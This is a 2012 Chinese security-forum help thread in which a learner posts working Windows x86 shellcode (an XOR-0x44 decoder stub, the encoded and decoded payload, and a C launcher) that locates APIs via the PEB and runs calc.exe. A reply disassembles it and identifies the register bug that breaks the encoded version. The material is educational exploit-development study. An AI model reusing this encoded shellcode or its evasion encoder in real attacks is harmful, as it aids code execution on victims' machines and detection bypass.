首页
社区
课程
招聘
[旧帖] [求助shellcode问题] 0.00雪花
发表于: 2012-7-27 21:43 1722

[旧帖] [求助shellcode问题] 0.00雪花

2012-7-27 21:43
1722
初学shellcode,遇到难题了,下面这段代码是我写的shellcode代码,但是在shellcode被编码之前char shell[]中的代码可以正常运行。但是被编码之后的char shellcode[]被运行,但是此时就不能正常运行了,我看过运行是解码过程和解码之后的代码是正常解码的,只是运行之后却发现有问题。运行失败,找不到问题了,求大神帮助……

/*以下是shellcode被编码之后,该代码可以不能正常运行,不知道是为什么?*/
char shellcode[]=
"\x83\xC0\x14"      //ADD EAX,14
"\x33\xC9"           //XOR ECX,ECX
"\x8A\x1C\x08"       //MOV BL,BYTE PTR DS:[EAX+ECX]
"\x80\xF3\x44"       //XOR BL,44   //0x44是该编码的key
"\x88\x1C\x08"       //MOV BYTE PTR DS:[EAX+ECX],BL
"\x41"                //INC ECX
"\x80\xFB\x90"        //CMP BL,90
"\x75\xF1"            //JNZ SHORT "\x8A\x1C\x08"

//编码后shellcode
"\x12\x20\xcf\x71\x74\x44\x44\x44\xcf\x32\x48\xcf\x32\x58\xcf\x02"
"\x4c\xcf\x3a\x64\xcf\x72\x22\x7d\x0b\x5c\x31\xb6\x11\xc7\xa8\x64"
"\xcf\xa8\xcd\x01\x40\x2c\x76\x30\xd5\x48\x14\xac\x07\x44\x44\x44"
"\x2c\x28\x28\x44\x44\x2c\x36\x30\x6a\x20\x2c\x29\x37\x32\x27\xcf"
"\x88\x15\xbb\x94\x2c\x48\xe4\x97\x6f\x14\xac\x60\x44\x44\x44\x2e"
"\x44\x2c\x6a\x21\x3c\x21\x2c\x27\x25\x28\x27\xcf\x90\x16\xbb\x94"
"\x2c\x27\xcd\x95\x0b\xcf\x09\x40\x15\xac\x41\x44\x44\x44\x2e\x45"
"\xbb\x94\x87\xcf\xb0\xc7\x82\x40\x11\xcf\x6a\xcf\x01\x78\xcf\x10"
"\x41\x3c\x47\x91\xcf\x0e\x5c\xcf\x1e\x64\x47\x99\x16\xcf\x3a\x40"
"\xcf\x12\x4c\x0d\x15\xcf\x70\xcf\x47\xb1\x77\x96\x4b\xfa\x42\x7e"
"\x80\x30\x4b\xcf\x8e\x85\x85\x5d\x85\x8e\x43\x4f\x95\x47\x94\x02"
"\xaf\xae\x7f\x93\x1d\x30\x40\xa6\x9f\xaf\x52\x1e\xcf\x1e\x60\x47"
"\x99\x22\xcf\x48\x0f\xcf\x1e\x58\x47\x99\xcf\x40\xcf\x47\x81\x19"
"\x87\x87\xd4";

/*以下是shellcode被解码之后,该代码可以正常运行*/
char shell[]=
"\x56\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39\x4F\x18\x75\xF2\x55\x83\xEC\x20"
"\x8B\xEC\x89\x45\x04\x68\x32\x74\x91\x0C\x50\xE8\x43\x00\x00\x00\x68\x6C\x6C\x00\x00\x68\x72\x74\x2E\x64\x68\x6D\x73\x76\x63\x8B"
"\xCC\x51\xFF\xD0\x68\x0C\xA0\xD3\x2B\x50\xE8\x24\x00\x00\x00\x6A\x00\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xD4\x52\xFF\xD0"
"\x68\x63\x89\xD1\x4F\x8B\x4D\x04\x51\xE8\x05\x00\x00\x00\x6A\x01\xFF\xD0\xC3\x8B\xF4\x83\xC6\x04\x55\x8B\x2E\x8B\x45\x3C\x8B\x54"
"\x05\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\x52\x8B\x7E\x04\x8B\x56\x08\x49\x51\x8B\x34\x8B\x03\xF5\x33\xD2\x0F\xBE\x06\x3A"
"\xC4\x74\x0F\x8B\xCA\xC1\xC1\x19\xC1\xCA\x07\x0B\xD1\x03\xD0\x46\xEB\xEA\x3B\xD7\x59\x74\x04\xE2\xDB\xEB\x16\x5A\x8B\x5A\x24\x03"
"\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x5D\xC3\xC3\x90";
void main()
{
        _asm{
                lea eax,shellcode
                        call eax
        }
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 54
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
0042EB18 56                   push        esi
0042EB19 64 8B 35 30 00 00 00 mov         esi,dword ptr fs:[30h]
0042EB20 8B 76 0C             mov         esi,dword ptr [esi+0Ch]
0042EB23 8B 76 1C             mov         esi,dword ptr [esi+1Ch]
0042EB26 8B 46 08             mov         eax,dword ptr [esi+8]
0042EB29 8B 7E 20             mov         edi,dword ptr [esi+20h]
0042EB2C 8B 36                mov         esi,dword ptr [esi]
0042EB2E 66 39 4F 18          cmp         word ptr [edi+18h],cx //这里应该ecx置零,decoder部分修改了cx
0042EB32 75 F2                jne         shell+0Eh (0042eb26)
0042EB34 55                   push        ebp
0042EB35 83 EC 20             sub         esp,20h
0042EB38 8B EC                mov         ebp,esp
0042EB3A 89 45 04             mov         dword ptr [ebp+4],eax
0042EB3D 68 32 74 91 0C       push        0C917432h
0042EB42 50                   push        eax
0042EB43 E8 43 00 00 00       call        shell+73h (0042eb8b)
0042EB48 68 6C 6C 00 00       push        6C6Ch
0042EB4D 68 72 74 2E 64       push        642E7472h
0042EB52 68 6D 73 76 63       push        6376736Dh
0042EB57 8B CC                mov         ecx,esp
0042EB59 51                   push        ecx
0042EB5A FF D0                call        eax
0042EB5C 68 0C A0 D3 2B       push        2BD3A00Ch
0042EB61 50                   push        eax
0042EB62 E8 24 00 00 00       call        shell+73h (0042eb8b)
0042EB67 6A 00                push        0
0042EB69 68 2E 65 78 65       push        6578652Eh
0042EB6E 68 63 61 6C 63       push        636C6163h
0042EB73 8B D4                mov         edx,esp
0042EB75 52                   push        edx
0042EB76 FF D0                call        eax
0042EB78 68 63 89 D1 4F       push        4FD18963h
0042EB7D 8B 4D 04             mov         ecx,dword ptr [ebp+4]
0042EB80 51                   push        ecx
0042EB81 E8 05 00 00 00       call        shell+73h (0042eb8b)
0042EB86 6A 01                push        1
0042EB88 FF D0                call        eax
0042EB8A C3                   ret
0042EB8B 8B F4                mov         esi,esp
0042EB8D 83 C6 04             add         esi,4
0042EB90 55                   push        ebp
0042EB91 8B 2E                mov         ebp,dword ptr [esi]
0042EB93 8B 45 3C             mov         eax,dword ptr [ebp+3Ch]
0042EB96 8B 54 05 78          mov         edx,dword ptr [ebp+eax+78h]
0042EB9A 03 D5                add         edx,ebp
0042EB9C 8B 4A 18             mov         ecx,dword ptr [edx+18h]
0042EB9F 8B 5A 20             mov         ebx,dword ptr [edx+20h]
0042EBA2 03 DD                add         ebx,ebp
0042EBA4 52                   push        edx
0042EBA5 8B 7E 04             mov         edi,dword ptr [esi+4]
0042EBA8 8B 56 08             mov         edx,dword ptr [esi+8]
0042EBAB 49                   dec         ecx
0042EBAC 51                   push        ecx
0042EBAD 8B 34 8B             mov         esi,dword ptr [ebx+ecx*4]
0042EBB0 03 F5                add         esi,ebp
0042EBB2 33 D2                xor         edx,edx
0042EBB4 0F BE 06             movsx       eax,byte ptr [esi]
0042EBB7 3A C4                cmp         al,ah
0042EBB9 74 0F                je          shell+0B2h (0042ebca)
0042EBBB 8B CA                mov         ecx,edx
0042EBBD C1 C1 19             rol         ecx,19h
0042EBC0 C1 CA 07             ror         edx,7
0042EBC3 0B D1                or          edx,ecx
0042EBC5 03 D0                add         edx,eax
0042EBC7 46                   inc         esi
0042EBC8 EB EA                jmp         shell+9Ch (0042ebb4)
0042EBCA 3B D7                cmp         edx,edi
0042EBCC 59                   pop         ecx
0042EBCD 74 04                je          shell+0BBh (0042ebd3)
0042EBCF E2 DB                loop        shell+94h (0042ebac)
0042EBD1 EB 16                jmp         shell+0D1h (0042ebe9)
0042EBD3 5A                   pop         edx
0042EBD4 8B 5A 24             mov         ebx,dword ptr [edx+24h]
0042EBD7 03 DD                add         ebx,ebp
0042EBD9 66 8B 0C 4B          mov         cx,word ptr [ebx+ecx*2]
0042EBDD 8B 5A 1C             mov         ebx,dword ptr [edx+1Ch]
0042EBE0 03 DD                add         ebx,ebp
0042EBE2 8B 04 8B             mov         eax,dword ptr [ebx+ecx*4]
0042EBE5 03 C5                add         eax,ebp
0042EBE7 5D                   pop         ebp
0042EBE8 C3                   ret
0042EBE9 C3                   ret
0042EBEA 90                   nop
2012-8-12 01:50
0
游客
登录 | 注册 方可回帖
返回
//